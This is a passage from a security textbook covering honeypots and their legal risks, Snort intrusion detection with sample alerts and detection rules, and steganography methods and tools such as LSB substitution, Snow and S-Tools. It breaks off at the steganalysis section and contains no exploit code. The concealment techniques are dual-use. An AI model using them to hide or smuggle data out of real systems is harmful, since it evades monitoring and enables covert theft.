Generally, honeypots are host traps. They run real services on a sacrificial computer, or they simulate ser-vices. In some cases, the simulation is very crude, such as faking a core dump. Honeypots also can be net-work traps, where the intruder thinks he’s found a vulnerable organization. Honeypots can be located at different (or multiple) points within the network. There are practical and legal ramifications with different choices.

You can implement a good honeypot using any of a number of different technologies. Obviously the more sophisticated attackers are only going to be fooled by systems that exactly mirror what they expect; when the honeypot is compromised, it must look convincing. The best way to ensure this high level of fidelity is to use a real system. This technique works very well, but can be extremely dangerous, since the compro-mised honeypot could easily be used to attack others. There are safer alternatives for those with less time or resources to devote to the project, but for some, using actual operating systems is mandatory.

Where do you put a honeypot? How do you make it effective? Well, to be sure, every IP address gets at-tacked - ask any cable modem user. However, there are things you can do to optimize performance, so to speak. Perhaps the most effective honeypots are machines that have become hot - very popular targets of attackers. In such a case, it is a good idea to move that machine to a new name and IP address (think witness protection program) and deploy a honeypot at that system’s old IP address. Domain name servers, mail serv-ers, and web servers’ non-service ports also make a great place to put honeypot code. If we place a honey-pot outside the firewall or allow the traffic through the firewall to the honeypot on an isolated network, we can collect information as to what the attacker is trying to do.

Why Do You Need a Honeypot?

Networks could never routinely (or in many cases legally) log to the degree of detail that security practi-tioners often need. The amount of logging that can be enabled always is a tradeoff, frequently failing to satisfy any of the parties. Honeypots are a way to get much more detailed logging for certain malicious situations than would be possible with routine logging.

149

HO

NEY

POTS

In this module, we a recap what is required to complete a TCP connection. Note that no valuable content gets sent until the handshake is complete. Filtering routers and firewalls block on at least the SYN packet, ergo no content. Take a minute; can you name a situation where you really might want to know the content of a TCP conversation? Many times you just want to block the traffic and not even think about it. However, there might be situations in which you really would want to see the traffic. They include:

• When you want to know the attackers’ intentions and how much they know, such as user IDs and pass-words.

• When you see that a particular system is the focus of lots of probes. This can happen for a number of reasons. For example, a researcher for the Navy gave out the name and IP address of a research system; for the next three years, probes came from all over the world trying to find this system. We moved it and put a honeypot in its place!

• When you think a new attack or technique is being used. This would allow you to gain information about what is being done.

Why You Want Others to Run Them

There are a number of reasons that you might want others to run honeypots! The Deception Toolkit (DTK), an early state machine honeypot, identifies itself on port 365 (both TCP and UDP). Think about the implica-tions if everyone ran a tag on port 365. This would make life harder for attackers. It would increase the price of hacking. Honeypots would answer and say they were honeypots, but non-honeypots would answer and say they were honeypots, too. Unfortunately, this simply is not the case - yet.

This example illustrates why honeypots, if widely deployed, improve security. Currently, the paradigm in general is when the attackers break into a system, it really is a compromised system. They are very bold and free with what they do. The honeypots deployed by the Honeynet Project illustrate just how effective this is because the attackers assume no one can monitor them. If there were another couple hundred honeypots, then the risk to the attackers might be sufficient to cause many of them to start slowing down and being more careful. Perhaps more of them would end up being arrested.

Name servers, mail servers, and web servers draw the most fire on the Internet. What if they had their non-service ports instrumented? These ports often are probed for vulnerabilities. The end result could be to slow down the pace of attacks and increase arrests.

150

HO

NEYPO

TS

Reasons to Consider Not Running a Honeypot

As we discussed earlier, mishandling honeypots can be dangerous. They can jeopardize your production network by giving attackers a platform for further attack, and they entail a variety of not-yet-defined legal liability that we’ll outline now. One approach to security in general is to keep a low profile. Particularly when honeypots were less available and common than today, using them was considered to be asking for it - to be challenging the attacker. This is not keeping a low profile.

Serious legal consequences can arise from the use of a honeypot. Be sure to consult with counsel before deploying a honeypot. Some of those concerns include the possibility that monitoring traffic shall constitute an illegal interception of communications in violation of:

USA: Federal Wiretap Act [18 U.S.C. ß 2511(2)(c)]

To legally intercept communications, an exception to these types of acts must apply. In the USA, there are three particular exceptions of interest to us:

Provider exception, for system protection

Party to the communication exception

Consent of party to the communication exception (think connection banner)

The provider exception may apply when a system operator intercepts communications in self-defense to protect the providers’ rights or property. The exception grants providers the right to intercept and monitor communications placed over their facilities in order to combat, for example, misuse of a system in order to protect the system from damage, theft, or invasions of privacy. How this exception applies when the system is a honeypot is untested in the courts. In particular, it is probably prudent to at most set up honeypots and expose them to potential attack, but not actually do anything to solicit attacks.

In addition, if a honeypot is used by an intruder to attack other systems downstream, the operator of the honeypot might find himself embroiled in litigation by the downstream victims for facilitating the attack and failing to take steps to prevent use of the system. An operator also may face liability if he learns of attacks against others to whom the operator owes a duty of care but fails to notify the other victims. The honeypot operator also may find himself in the precarious position of having ìstolenî information or other contraband (such as child pornography) stored on the system.

Although you may be tempted to do so (especially if the attack is ongoing), do not try to ìhack backî to the intruder or attacker. Generally, doing so is illegal. There is no self- defense provision in hacker statutes; this is not a duel.

Some final legal thoughts: If you run a honeypot and wish to use the collected data legally, pay attention to system clocks on all your systems, and follow strict chain of custody on the data. Honeypots would be an excellent place for consent-to-monitor banners, although this technically is infeasible for many ports. One of the many, and best, exceptions to USA’s Wiretap Act is for consent. Since such banners are routine on some ports, it actually could make the honeypot appear more like a real production system.

151

IDS

CON

CETP

S

Network Based Intrusion Detection Systems

Network-based intrusion detection systems (NIDSs) are an excellent way to monitor networks for anomalies that could indicate an attack or signs of electronic tampering on your network. In this chapter, we explore the need for NIDS and discuss some of the available offerings. In particular, we look at commercial tools such as BlackICE Defender, as well as an extremely popular open-source tool called Snort. We also discuss the advantages associated with building a distributed NIDS and provide examples of creating custom signatures for your own network environment.

Our journey begins with a single network attack and culminates with a myriad of real world intrusion at-tempts. The objective is to present you with the knowledge necessary to understand the basics of intrusion detection and to spark some ideas of how this technology can be deployed on your own network. Finally, after reading this chapter, you should be able to tell the difference between an innocuous scan and a mali-cious scan and how to react and respond accordingly.

Need for Network-based Intrusion Detection

Insider attacks can cause more financial damage than third party attacks because insiders have intimate knowledge of internal networks. Traditional audit and security mechanisms can address these threats and organizations can prosecute. The greater concern though should be attacks originating from the Internet.

The volume of attacks originating from the public network is (or should be!) significantly higher than the number of attacks coming from an internal host. Most outside attacks can be stopped by a properly config-ured firewall. However, we need to be concerned with attacks that are able to bypass, or otherwise pene-trate, the outside perimeter. You may be asking if the firewall can prevent many or most attacks, then why do we need to be concerned about the few that make it through? The reason is simple: volume. The sheer number of outside attacks hitting your network will eventually take their toll and compromise the system. There is a saying that even a blind squirrel can find a nut, and that can be applied to the perimeter network. Attacks on your network, even if poorly targeted, will eventually result in malicious activity passing through your perimeter and causing damage to your systems.

By detecting even the most benign attacks hitting our network perimeter, we can use that data to properly tune our system defenses and mitigate or render useless a large percentage of the attacks. As the sophis-tication of network-based attacks continues to increase, we owe it to ourselves to use NIDS to investigate intrusions, analyze threats and prepare the needed countermeasures. There is also the distinct advantage of being able to correlate data from a variety of NIDS deployments to increase our capability in responding to various attacks. We will discuss event correlation later in this chapter.

152

IDS CO

NCEPTS

Network Intrusion Detection 101

Generally, when we think of utilizing a personal firewall, it is to protect our PC that is directly connected to the Internet. However, we don’t always think about detection: Many personal firewalls on the market today have the capability to block attacks and they can also detect and log attacks. Logging the attack allows an analyst to study the attributes of an attack. In fact, with the increasing rate of broadband installations, personal firewalls with intrusion detection capability are becoming extremely valuable network sensors for the IDS community. The Internet Storm Center has a free client that can be used in conjunction with many personal firewalls and intrusion detection systems that will allow you to upload your logs to their site for further research and investigation. If want a way to do your part and give back to the information security community, then this is a great opportunity. Detailed information is available from the web site at http://isc. incidents.org.

The Importance of Logging

The previous screen shot depicts activity on an extremely busy and hostile network. We can see a variety of attacks including nmap pings, SNMP port probes and DNS zone transfers. Although it is useful to be able to view these events in real-time, it is even more useful to have the ability to view these events with a network protocol analyzer like Ethereal to gain a better understanding of the attack and how it happened. Most per-sonal firewalls include a logging feature that should be enabled to get the most from the product. Logging is an integral part of intrusion detection. Being able to refer back to logs after an event happens is extremely useful from a learning perspective and in the case of criminal prosecution. Having logs of the events that led to a compromise would be a valuable asset if you seek damages or prosecution from a network attack or system compromise.

Network Intrusion Detection with Snort

Snort is billed as a lightweight network intrusion detection system. It was introduced to the open-source community in 1998 by its developer, Marty Roesch. Snort has quickly gained a reputation for being an extremely efficient, lightweight, and low-cost NIDS solution and owes its popularity and extensive features to a devoted team of core developers and an active user base. Snort’s design allows for easy integration into most networks and it can be configured to monitor multiple sites, networks, or interfaces with relative ease. It has rules for packet content decodes and packet headers. This means it can detect data-driven attacks like buffer overflow errors, as well as attacks on vulnerable URLs and scripts (for example, RDS and phf ).

Because Snort is open-source and has such an active user community, it is an ideal system to learn how to analyze intrusions and to experiment with different configurations. There are many community-developed enhancements available (we discuss them later in this chapter) and help is just an e-mail message away.

153

IDS

CON

CETP

S

Analyzing a Snort Detect

Snort detects are displayed in log files, like the one shown previously, and separated by blank lines. The logs are flat files, also called text files, and have the advantage of being easy to sort, search, and analyze. Another advantage of Snort logs is the ability to cut and paste the various detects into an e-mail message to be sent to other analysts, your CIRT, or the offending party. This feature alone is unavailable in many commercial products.

In this example, you see that the name of the detect, RPC Info Query, is listed at the top and the summary information is given in the following. This is because RPC packets are padded to 32-bit words, often to carry a field that only has a choice of single integers, so the zeros are an indication of Remote Procedure Calls. Another item worthy of mention is the hex string, 01 86 A0 00 00 00 02 00 00 00 04. This is the string for the rpcinfo –p command that lists the available RPC ports on a remote host.

[**] RPC Info Query [**]

06/29-00:15:29.137285 211.72.115.100:623 -> z.y.w.98:111

TCP TTL:46 TOS:0x0 ID:29416 DF

*****PA* Seq: 0x1EDB7784 Ack: 0xD4A024FE Win: 0x7D78

TCP Options => NOP NOP TS: 86724706 118751139

800000280870BBFF0000000000000002 ...(.p..........

000186A0000000020000000400000000 ................

00 00 00 00 00 00 00 00 00 00 00 00 ............

154

IDS CO

NCEPTS

Writing Snort Rules

Snort provides the ability to create custom rules, or signatures, to filter on specific content. The compiled source code provides hundreds of pre-written rules. However, there might be times when you need to create rules that are not included by default. Given the fast-paced world of intrusion detection and that new threats are released on a daily, the ability to quickly write custom rules can often make or break your career as an information security professional!

• Snort rules are simple to write yet powerful enough to capture most types of traffic. There are five op-tions to keep in mind when writing rules:

• Pass - This means you wish to drop the packets and take no action.

• Log - This option allows you to log the particular action to the location you specified in your snort con-figuration file (e.g. snort.conf ).

• Alert - This option allows you to send alerts to a central syslog server, popup windows via SMB or writing the file to a separate alert file. This alert file is commonly used with tools like Swatch (Simple Watcher) to alert the analyst to signs of intrusion or electronic tampering. Once the alert is sent, the packet is logged.

• Activate - This option specifies that Snort is to send the alert and then activate another dynamic rule. For example, Snort can be configured to dynamically block ports based on various attack signatures but this should be considered an advanced usage and extreme caution should be exercised when using this option.

• Dynamic - This rule remains idle until activated by another rule. Again, this is an advanced feature and should only be used by experienced intrusion detection professionals.

Rule Looks Like This:

alert tcp any any -> 192.168.1.0/24 80 (msg: “Inbound HTTP Traffic”; )

Output Looks Like This:

[**] [1:0:0] Inbound HTTP Traffic [**]

09/02-13:03:22.734392 192.168.1.104:1460 -> 192.168.1.103:80

TCP TTL:128 TOS:0x0 ID:28581 IpLen:20 DgmLen:48 DF

******S* Seq: 0x2550D716 Ack: 0x0 Win: 0x4000 TcpLen: 28

TCP Options (4) => MSS: 1460 NOP NOP SackOK

Creating Simple Snort Rules

The previous example is a simple rule but does a good job in illustrating the basics of creating custom Snort rules. Remember that you probably would not want to run a rule of this type on a production network with web servers unless you have a lot of disk space! As you can see, we told Snort to alert us on any traffic des-tined for port 80 (http) on the 192.168.1.0 network.

155

IDS

CON

CETP

S

On the slide, you see a rule and below it an alert that was generated when the rule was matched. On this slide, the alert begins with [**] Inbound HTTP Traffic [**] and that string was created by the message option in the rule shown on the slide. There are many potential options; they must all be separated by a semicolon. In the rule on the slide there is only one option.

Now that we have an idea what content is needed to create a rule, letís take a look at the output of an event triggered by this rule. There is a lot of data logged by this rule but it is all relevant information. We can see the message parameter followed by the date/time stamp, source IP address, and destination IP address. In addition to basic source and destination information, we are presented with a detailed listing of TCP infor-mation to include which flags are set, window size, and options. This information can seem overwhelming, but having it available could make your job easier as you get more familiar with reading the data.

Advanced Snort Rules

Rule Looks Like This:

alert tcp any any -> 192.168.1.0/24 80 (content: “/cgi- bin/test.cgi”; msg: “Attempted CGI-BIN Access!!”;)

Output Looks Like This:

[**] [1:0:0] Attempted CGI-BIN Access!! [**]

09/02-13:18:30.550445 192.168.1.104:1472 -> 192.168.1.103:80 TCP TTL:128 TOS:0x0 ID:29951 IpLen:20 DgmLen:466 DF

***AP*** Seq: 0x32D8E9C1 Ack: 0xB427699E Win: 0x4470 TcpLen: 20

Writing Advanced Snort Rules

As you can see in this rule, we have added a parameter called the content field. We tell Snort to look for any signs of access to a file called test.cgi residing in the cgi-bin directory of a web server. If this type of access is detected, Snort will send an event- notification alert and log the entire packet.

As stated earlier, Snort allows for the creation of just about any type of rule imaginable. For a better under-standing of the current rules available by default, visit the Snort Database at http://www.snort.org/snort-db/. The database will give you a lesson in creating rules and it will explain why the rules have been created.

The best overall reference guide available on writing custom rules is from Marty Roesch. The guide covers all of the options available when creating rules and is available for viewing at http://manual.snort.org/node27.html

156

IDS CO

NCEPTS

Advanced Snort Usage - Distributed Architecture

One of the really cool things that can be done with Snort is to configure it to work as a remote sensor in a distributed architecture. Data collected by the Snort probe can be sent to a central database for post-pro-cessing and analysis. This allows a central collection point for multiple probes, which makes management and analysis much easier for large IDS deployments.

In the previous diagram, we placed a probe on the external network and configured it to send all of its data back to the Intrusion Detection Central Database residing on the internal network. The Intrusion Analyst will access the central database, typically via a web browser, to analyze incoming data from the remote probe(s). The general rule is to place a sensor between the Internet and the firewall if you only have one probe. It is also a good idea to place a probe on any parts of the network you deem critical or sensitive to your organi-zation. For example, placing a probe in the DMZ will allow you to correlate data between the external probe and the internal probe. If the probe has been configured properly, alerts coming from the DMZ probe are typically ones that need immediate attention.

NOTE :

Configuring Snort for a distributed environment is not for the faint of heart! It will require a lot of time and planning on your part to ensure a successful implementation. You will want to spend some time determin-ing where your probes should be placed on the network and you will definitely want to learn some basic SQL commands, Apache configuration, and a little bit about working with PHP and/or Perl.

157

IDS

CON

CETP

S

NIDS Pros and Cons

Hopefully, you can see the potential advantages of a network-based intrusion detection system, but there is always a flip side to every equation. We take a look at both the pros and cons of NIDS in this section.

Quite possibly the greatest advantage in deploying NIDS is the ability to see network traffic across an entire segment of a network rather than a single host. In this way, NIDS can monitor many nodes and report on possible threats with a single sensor. NIDS places negligible load on the network and if the probe is config-ured for stealth mode, there is no load at all. A stealth configuration in intrusion detection refers to a sensor with separate monitoring and management interfaces, as we discussed in the section dealing with distrib-uted IDS. The management interface is given an IP address while the monitoring interface is simply listening and does not have a TCP/IP stack or an IP address bound to its interface. NIDS is easy to implement and with many of the products currently available, even a novice can get a good idea of the types of threats seen on the network.

As we stated, there are some downsides to NIDS. One of the most common complaints is the inability to scale well in network speeds exceeding 100 Mbps. Although some products are available to help with this limitation, they are expensive and difficult to deploy. For most organizations, this isnít a problem but as technology improves so does the size of the bandwidth available. 45Mbps (T3) is generally considered to be within most speed ranges for IDS.

Another limitation is detecting threats or attacks that are not in the preconfigured rule set. Because most NIDs rely on pattern matching signatures, traffic that falls outside that realm will bypass NIDs. It is imperative to stay informed about current threats and exploits to keep your signature database as up to date as pos-sible. As an example, there are several variants of the Nimda worm that created havoc on networks around the world in September 2001. Your signature database may only contain a signature for one of the known variants while ignoring other strains of the Nimda worm.

Finally, some attackers will use what is called a slow and low approach to exploiting a network. What this means is the attacker is extremely cautious and patient. He will take his time to understand the target network and send only a few packets at a time over a span of hours, days, or weeks to map the network and exploit a vulnerability. If the attacker can stay under the radar then his efforts will go unnoticed until it is too late. A person employing this type of attack is generally very skilled and has targeted your network for a reason, which is different from the low hanging fruitî methodology employed by novice hackers and script kiddies.

It is strongly recommended to deploy a combination of host and network-based intrusion detection systems as their strengths are complementary and will aid in providing overlap coverage to catch the slow and low attacks. For example, a NIDS may not detect a port scan against a specific host but if the server is configured with host-based IDS then it can be captured.

158

IDS CO

NCEPTS

Summary

Network-based intrusion detection systems play a vital role in the perimeter defense of an organization. It would be a foolish assumption to think a single chapter could provide you with everything needed to install, configure, and maintain an intrusion detection system. Rather, the intent was to convey the power and flexi-bility available if you should choose to deploy intrusion detection.

.

We wrapped things up with a close look at IDS and the pros and cons of NIDS. NIDS won’t solve the world’s problems but it does an outstanding job in monitoring the network for anomalies that may or may not indi-cate an attack on your network. Experimentation is recommended and encouraged.

159

STEG

AN

OG

RAPH

Y

Steganography

Encryption offers its users data confidentiality, data integrity, and with digital signatures, the non-repudia-tion of the sending party. However, in some cases even these offerings are not enough security. Despite its benefits, encrypted data is still vulnerable to detection and analysis. Even though the data is not available in clear text, it is possible for ìinformation voyeursî to determine that encryption is being used to protect the data, and in turn attempt to decrypt it. The only way to protect encrypted data from attack is by preventing others from finding it and from realizing that it is encrypted or that the data is even being sent.

Steganography is one method to disguise such data. It allows users to change the form of the data to appear to be something it is not. In this chapter, we introduce the concepts of steganography and its use, the meth-ods by which steganography is applied to data, some of the tools that are available for its application, as well as ways that steganography can be detected and possibly defeated.

An Introduction to Steganography

Steganography (stego) is a means of hiding data in a carrier medium. Steganography means, ìcovered writ-ing.î In concept, it dates back to ancient Greece. However, as a means of hiding data electronically, it is a new concept.

The modern form of stego can take many forms, although all involve hiding data in something else called a carrier file. This could be the hiding of a document in an image, the hiding of a short message in a doc-ument, even hiding an image in a sound file! The applications are only limited by the tool being used, the carrier file, and the imagination of the sender.

Stego can be used for a variety of reasons but most often it is used to conceal the fact that sensitive infor-mation is being sent or stored. It can also be used to disguise encrypted data. This helps prevent attacks on encrypted data, or in scenarios where encrypted data is inappropriate for transmissions - for example, in countries where encryption is against the law.

160

STEGA

NO

GRA

PHY

Cryptography Versus Steganography

Cryptography (crypto) is a tool to protect confidentiality and integrity and provide non- repudiation for the senders of data. However, despite all of these benefits, crypto does not guarantee the secrecy of your data. Scrambling the data into an unintelligible ciphertext can prevent others from reading the file, but it does not keep them from realizing that the data is there. It is easy to detect an encrypted message; it is difficult to read one.

One unwanted side effect of using encryption is that it can mark a userís most important and confidential files. It is similar to keeping valuable items in a bank vault, or an armored car. Encryption keeps the content very safe, but when the bad guys are in hot pursuit they know what to target for the valuables.

An encrypted conversation can also raise suspicions. If two parties suspected of a crime had suddenly start-ed trading extensive encrypted messages the week before the crime occurred, even though we may not know what they were saying, it would definitely raise some flags and concerns.

When handling extremely confidential data it would be ideal to obfuscate the information and keep it as un-detectable as possible. Secrecy keeps an attacker from even trying to subvert the encryption on these files. They see image or sound files, yet they have no idea that they are also carriers of encrypted data.

Steganography Doesn’t Guarantee Safety

One important thing to keep in mind when using stego is that even though the secrecy provided by stego is great, the dataís protection still relies on the encryption algorithm that is being used. Some stego programs use weak or untested encryption algorithms, or in some cases no encryption at all! Some stego tools have a choice of encryption methods of varying effectiveness that require you to choose between. Users are often duped into a false sense of security while using a stego tool. They think that if the data is hidden, it is safe. However, if stego is detected, the safety of your hidden message is only as good as the encryption that is used to protect it. If the confidentiality of your data is important to you, always verify the stego tool that you are using has a proven encryption algorithm. If it doesnít, or you are unsure, encrypt the data with a tool using a proven algorithm (such as PGP) before running it through the steganographic process.

Detecting Cryptography

Both humans and computers can easily detect encryption because encryption increases file size and math-ematically normalizes the occurrence of data. When viewing a document or e-mail comprised of garbled characters , one may infer that it is actually encrypted. In the flow of binary communications, encryption might not be as readily noticeable by a human observer. However, computers can still detect the plain char-acteristics of encrypted data. Because a good encryption algorithm requires a truly random distribution of characters in its output, the resultant file has a predictable frequency of characters throughout.

161

STEG

AN

OG

RAPH

Y

Histograms are graphical representations of the number of occurrences of data in a given distribution of such data. For example, a histogram of a text document would show the number of occurrences of each character that appears in the document. A normal text document would generate a histogram that shows that the frequency of characters varies greatly. In a histogram for an encrypted document, the frequency of characters is normalized. The very same factor that helps prevent encryption from being interpreted makes it easier to detect.

How Does Steganography Work?

The principle behind steganography is simple - hiding data within data. This can be done in many differ-ent ways. The only limiter is the steganographerís creativity. Despite the seemingly endless possibilities for stego, there are some commonalities that can be found in its operation. There are several basic components that are common to all stego and several general types of operations that all stego can be categorized into. In the following sections, we explore these tenants of basic steganography.

Baboon Image Analyzed with Histogram Chats indicate the steganographic content

162

STEGA

NO

GRA

PHY

The Components of Stego

There are two general components of standard steganography. The first is the carrier or host file. This is the medium used to hold the hidden data. The carrier can be almost any type of file imaginable. Some popular examples of such hosts are:

1. Images - bmp, gif, and jpeg

2. Word documents S

3. Sound files

4. Movies - mpeg

5. Text documents

6. Machine generated images - fractals

7. HTML files

Despite the fact that stego can use just about any type of file as a carrier, the best carriers are popularly ex-changed files and items that can be altered slightly without being easily detected.

The second component of stego is the hidden data. This data can be almost anything as well, though there are limits to the amount of data you can place in a carrier without causing visible disruption to it. These dis-ruptions could be ìnoiseî in an image, or pops or noticeable echoes in a sound file. Most good steganogra-phy tools will limit the amount of data that you can place in a carrier to an amount that should keep the host medium free of such distortions. In any case, assuming that the data that you are placing in a carrier image is no larger than what can be allotted, you could hide anything from a simple text message to an mpeg movie as the payload of a stego host file. In essence, you are hiding binary data within a host file. Because the hid-den data is binary data and every file is binary at a fundamental level, anything can be hidden in a carrier file.

The host or carrier file can take one of two forms. It can either be an existing file of one of the previously list-ed types, or it can be generated for the sole purpose of carrying the hidden message. When using an exist-ing file as a carrier, the message is inserted into open space in the file, or stored as unnoticeable bit changes in the contents of the file.

In the next section, “General Types of Stego,” we go over the ways that stego information is placed into a carrier in greater detail.

163

STEG

AN

OG

RAPH

Y

General Types of Stego

Information can be hidden in many ways. In ancient times information was placed on wooden tablets that were then covered with wax to hide the message. Messages were also tattooed onto messengersí bare heads. (Hair growth covered the message and their head needed to be shaved so the recipient could read it). In more recent history, messages were written with invisible inks that appeared only after they were heated. Messages were written with these inks in the margins or between lines in false documents to hide the fact that a hidden message existed.

In the information age, there are many new creative ways to hide information in an electronic carrier. Most of the techniques can be summed up in one of three general stego types:

Injection

Substitution

File generation

Injection based Stegano

With most file types there are ways to include information within them that will be ignored when the file is processed. This is the basis for injection stego. We place the information into ìholes,î or unused areas of the file. For example, with HTML, informational tags that tell how it should be processed must precede all char-acters. Web browsers will ignore data that is formatted with certain HTML tags. However, if you examine the same html file with a text or HTML editor, the added characters will be fully visible. Another example is the comments that can be inserted in files, such as those that can be placed in a GIF image or MP3 sound file. These comments do not appear when you view or play the file, though they still physically exist in the body of the file if you know what to look for.

Even Microsoft Word documents contain areas (or holes) where information can be hidden. This can be demonstrated by creating a large document, saving it, and then by ìcuttingî a large portion of the document out. Even after the data is removed the file size is still very large. The slack that is left in the document could also have data inserted into it.

The greatest problem with the injection type of stego is that as data is added, the file size of the carrier increases. This makes detection easy if the original file can be found, or if the size is increased outside of the norm for its type. For instance, if an MP3 file was injected into a document file, the increased size of the doc-ument will most likely be noticed.

One example of a tool that utilizes the injection type of steganography is Snow. Snow is a command-line program that allows the encryption and injection of a hidden message into an ASCII text file as ìwhite space,î which consists of extra spaces and tabs. It uses the ICE encryption algorithm which was authored by the same person, Matthew Kwan, as Snow and is generally untested and should not be used for high security purposes. Ice supports up to a 1024- byte encryption key. The data is hidden by adding a series of spaces and tabs to the end of each line, which in turn represents the bits of hidden information.

This method can hold approximately three bits of information per eight columns in the document. When comparing the original document and the stego carrier with most text editors, it is impossible to tell the two apart visually. However, viewing the same document through a file comparison utility or hex editor shows how very different the files actually are. Injection stego is a viable method to hide small amounts of information in a carrier file. However, because the information is added to the existing contents of the file, an increase in file size can be detected making it typically unsuitable for concealment of larger amounts of data. When large amounts of data need to be concealed, a method of stego where file size is not affected is advisable.

164

STEGA

NO

GRA

PHY

Substitution

Substitution is the most popular stego method used to hide data in a host file. The concept is that elements are replaced on a bit by bit basis with information that is being hidden in the host document. Because the information is substituted in place of existing information, the file size of the carrier remains the same. However, noticeable file degradation can occur depending on the amount of information placed in the document. The goal with this technique is that only insignificant data should be overwritten to prevent degradation. It is important to have a suitably large carrier file when great amounts of information are being concealed. Typically, insignificant data is replaced with the information to be hidden. This insignificant data can take many forms, but one of the most common forms is the least significant bits (LSB) in the color table of a graphic.

One tool that utilizes substitution stego to trade information with the LSB of a carrier file is S-Tools. S-Tools is a GUI-based application that allows the steganographic hiding of data in gifs, bitmaps, and wav files. Its graphical, drag-and-drop interface makes it intuitive to use. Simply drop a carrier image on the application window.

Then drag-and-drop the file that you want to hide onto the carrier file. You will be prompted for a pass-phrase and asked to specify which of the four encryption algorithms you want to use (IDEA, DES, 3DES, or MDC). The resultant image appears in the application window, in a window with the name ìhidden data.î To save the stego file right-click the ìhidden dataî image and choose Save As to place it on your local drive.

To remove the hidden message from the stego carrier, simply drop the stego into the application window and right-click it. Choose ìrevealî from the context menu that appears. It will prompt for the passphrase and the encryption method that was used. If the correct combination is specified, a window will pop up con-taining the name of the file that was hidden. Right-click the revealed file name and save the file to your local drive.

Now that we have covered how to use S-Tools, letís take a closer look at how S-Tools actually conceals the information. A common means of substitution stego is to replace the least significant bits of color depth in the color table of an image file. This is the way that S-Tools hides information in a carrier image. Images with an eight-bit color depth represent each pixelís color value with an eight-bit value (for example ñ 10001100). This value represents one of the 256 different color values (anywhere from 00000000- 11111111) that any pixel of the image can be.

http://www.hackingarticles.in/best-of-hacking/best-of-steganography/

165

STEG

AN

OG

RAPH

Y

Steganography in Real world example

Now that we have covered how to use S-Tools, letís take a closer look at how S-Tools actually conceals the information. A common means of substitution stego is to replace the least significant bits of color depth in the color table of an image file. This is the way that S-Tools hides information in a carrier image. Images with an eight-bit color depth represent each pixelís color value with an eight-bit value (for example ñ 10001100). This value represents one of the 256 different color values (anywhere from 00000000- 11111111) that any pixel of the image can be.

The most significant bits (MSB) are the digits on the left of the eight-bit value. These values represent the most noticeable elements of the pixelís color. The least significant bits (LSB) are the values on the right of the eight-bit value, which deal with elements of the pixelís color virtually unnoticeable by human eyes. Changes to the most significant bits have a great impact on the color of the pixel, although changes to the LSB should be imperceptible because most human eyes can perceive only six or seven bits of color. So, changes can be made to the last two bits of a pixelís color table value and most humans will not be able to tell the differ-ence.

The colors represented by 10001100 - 10001111 are all shades of the same color that are so close that it is practically impossible to tell them apart with the naked eye. So in turn we can actually hide information in those last two changing bits without detection.

If the data that we want to embed in the LSB of an imageís color table is the binary value 11010010, this information could be placed in the LSB of the image as follows:

Color table value 1100 0101 becomes 1100 0111

Color table value 1111 0010 becomes 1111 0001

Color table value 1010 1111 becomes 1010 1100

Color table value 0010 0010 becomes 0010 0010

Notice how two bits of the original eight-bit value are placed in each of the four-color table entries. The vari-ations between the original and resultant color values are minute, even though eight bits of substituted in-formation is hidden in the four eight-bit color values. In a large picture, this could conceal a sizable amount of information. Despite the concealed information, even if you had the original carrier image the two files would visually appear to be exactly the same.

Another example of a substitution stego program is Jsteg. Although it also affects insignificant data because it deals with jpeg images instead of bitmaps, it doesnít have a color table to work with. It makes changes to the frequency coefficients resulting from the jpeg compression process. It is a command-line utility that places data into gifs while converting them to jpeg images.

166

STEGA

NO

GRA

PHY

File Generation

Another method of stego that is growing in popularity is the actual generation of a new file from the data to be hidden. This is the only form of stego where a carrier isnít needed beforehand. A carrier file is needed, but it is generated on-the-fly by the stego program. The carrier file is actually created from the source informa-tion to be concealed. This can be used to generate such output as readable text or fractals. With each unique input file, a completely new and unique output file is generated.

An example of a tool that utilizes stego that generates a new file from user-supplied input is Spam Mimic. Spam Mimic is a web site that allows the creation of what appears to be a Spam-like message from a short text message. The output can be pasted into a text file or e-mailed. The web site is:

http://www.spammimic.com

Inputting a message such as:

text message

Produces the output:

Dear Business person ; We know you are interested in

receiving amazing intelligence . This is a one time

mailing there is no need to request removal if you

won’t want any more . This mail is being sent in

compliance with Senate bill 1626 , Title 4 ; Section

303 . This is not a get rich scheme . Why work for

somebody else when you can become rich in 94 MONTHS .

Have you ever noticed society seems to be moving

faster and faster and the baby boomers are more

demanding than their parents . Well, now is your

chance to capitalize on this ! WE will help YOU SELL

MORE and turn your business into an E-BUSINESS . You

can begin at absolutely no cost to you . But don’t

believe us . Mrs Ames of Michigan tried us and says

“Now I’m rich, Rich, RICH” . We are a BBB member in

good standing . DO NOT DELAY - order today ! Sign up a

friend and you get half off . Thanks .

167

STEG

AN

OG

RAPH

Y

Note the length of the output as compared to the input message. The outputís length will grow propor-tionately with the length of the source message, making it impractical for long messages. A password can be added for additional protection of the message. Despite the fact that the output is rather disjointed, and would throw up a red flag to anyone who has seen Spam Mimic before, it will still pass as standard text to most means of electronic monitoring, and many end-users would dismiss it as Spam.

If a password is not used with Spam Mimic, then there is no encryption used at all. And as the makers them-selves admit, even when it is used, the encryption is very weak.3 Also remember that if you arenít using the offered secure connection to the Spam Mimic, your ìsecretî message is going in the clear from your system to their site. That allows for eavesdropping. However, you donít have to rely on Spam Mimic for your serious steganographic needs.

168

STEGA

NO

GRA

PHY

File Generation

Stego offers an interesting way to conceal information in a seemingly innocuous carrier file. Its great ad-vantage is that there is no original host file to compare the output to. However, generated output can be substantially larger than the original information, limiting its effectiveness when substantial amounts of data need to be hidden.

Other Stego Tools

We have just shown a few of the many stego tools that are available online. Many of these tools are freeware or shareware. Some excellent Web resources for these tools are:

http://www.wayner.org/books/discrypt2/links.html

The stego tools on these sites cover a variety of host file types, stego techniques, usability options, and a wide range of platforms that they can be run on.

Here are a few examples of the many stego programs available:

1. MP3Stego - Hides information in mpeg files.

2. S-Mail - Hides data in exe and dll files.

3. Invisible Secrets - Hides data in banner ads that appear on web sites.

4. Mandelsteg - Hides data in generated Mandelbrot fractals.

5. TextHide - Changes text messages grammatically; altering word order, synonyms, perspective, and tense to hide data.

Defending Against Stego: Steganalysis

Stego is a powerful and useful secrecy tool for addressing todayís world of privacy concerns. However, few system administrators and security practitioners will find a day- to-day business use for stego. So why should you be concerned with this technology? Even though your business may not have an application for stego, this doesnít prevent you from being victimized by othersí use of this same technology. In this section we will discuss some of the reasons that steganalysis is becoming an important tool of the system administrator, how steganalysis is done, and a practical example of steganalysis in action.

169

STEG

AN

OG

RAPH

Y

The Importance of Steganalysis

